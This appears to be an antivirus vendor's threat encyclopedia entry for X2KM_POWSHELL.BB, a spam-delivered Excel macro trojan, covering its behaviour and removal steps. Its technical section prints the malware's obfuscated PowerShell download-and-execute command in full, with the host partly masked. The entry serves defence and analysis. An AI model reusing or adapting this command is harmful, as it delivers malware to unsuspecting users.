X2KM_POWSHELL.BB
X97M/Downloader.fc (McAfee); X97M/Agent.gen (F-Protect); X97M.DownLoader.157 (DrWeb)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Spammed via email
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
It does not have any propagation routine.
It does not have any backdoor routine.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.
It does not have any information-stealing capability.
TECHNICAL DETAILS
50,688 bytes
XLS
No
05 Sep 2017
Connects to URLs/IPs, Downloads files
Arrival Details
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
Propagation
This Trojan does not have any propagation routine.
Backdoor Routine
This Trojan does not have any backdoor routine.
Rootkit Capabilities
This Trojan does not have rootkit capabilities.
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://{BLOCKED}n.com/vips
It saves the files it downloads using the following names:
- %User Profile%\Documents\{Random Filename}.exe
(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
As of this writing, the said sites are inaccessible.
Information Theft
This Trojan does not have any information-stealing capability.
Other Details
This Trojan does the following:
- It uses the following Powershell to download and execute a malicious file:
- pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='';$uy='{Random Filename}';$ji='.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://{BLOCKED}n.com/vips'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe);
It does not exploit any vulnerability.
NOTES:
The Microsoft Excel file contains the following fake details luring users to enable macro content:
SOLUTION
9.850
13.652.05
11 Sep 2017
13.653.80
12 Sep 2017
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete these files
- %User Profile%\Documents\{Random Filename}.exe
Step 4
Scan your computer with your Trend Micro product to delete files detected as X2KM_POWSHELL.BB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
Step 5
Enable the macro virus protection in Microsoft Office Applications
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